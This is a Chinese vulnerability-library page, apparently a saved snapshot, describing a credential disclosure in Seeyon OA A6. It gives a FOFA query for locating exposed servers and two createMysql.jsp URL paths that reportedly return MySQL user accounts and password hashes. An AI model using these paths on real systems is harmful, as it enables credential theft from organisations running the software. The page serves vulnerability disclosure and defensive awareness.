添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
万户 泛微 通达 致远 蓝凌 网络设备漏洞 安全设备漏洞 向日葵 VMware Chrome openssl OpenSSH 第三章 应急响应之实战分析 第二章 应急响应之日志分析 第一章. 应急之排查方法 社工钓鱼 Web常见漏洞

致远OA A6 createMysql.jsp 数据库敏感信息泄露

目录

漏洞描述 #

致远OA A6 存在数据库敏感信息泄露,攻击者可以通过访问特定的URL获取数据库账户以及密码 MD5

漏洞影响 #

致远OA A6

FOFA #

title="致远A8+协同管理软件.A6"

漏洞复现 #

当访问如下URL时执行了SQL语句 select *from mysql.user; 进行查询并返回到页面中

/yyoa/createMysql.jsp
/yyoa/ext/createMysql.jsp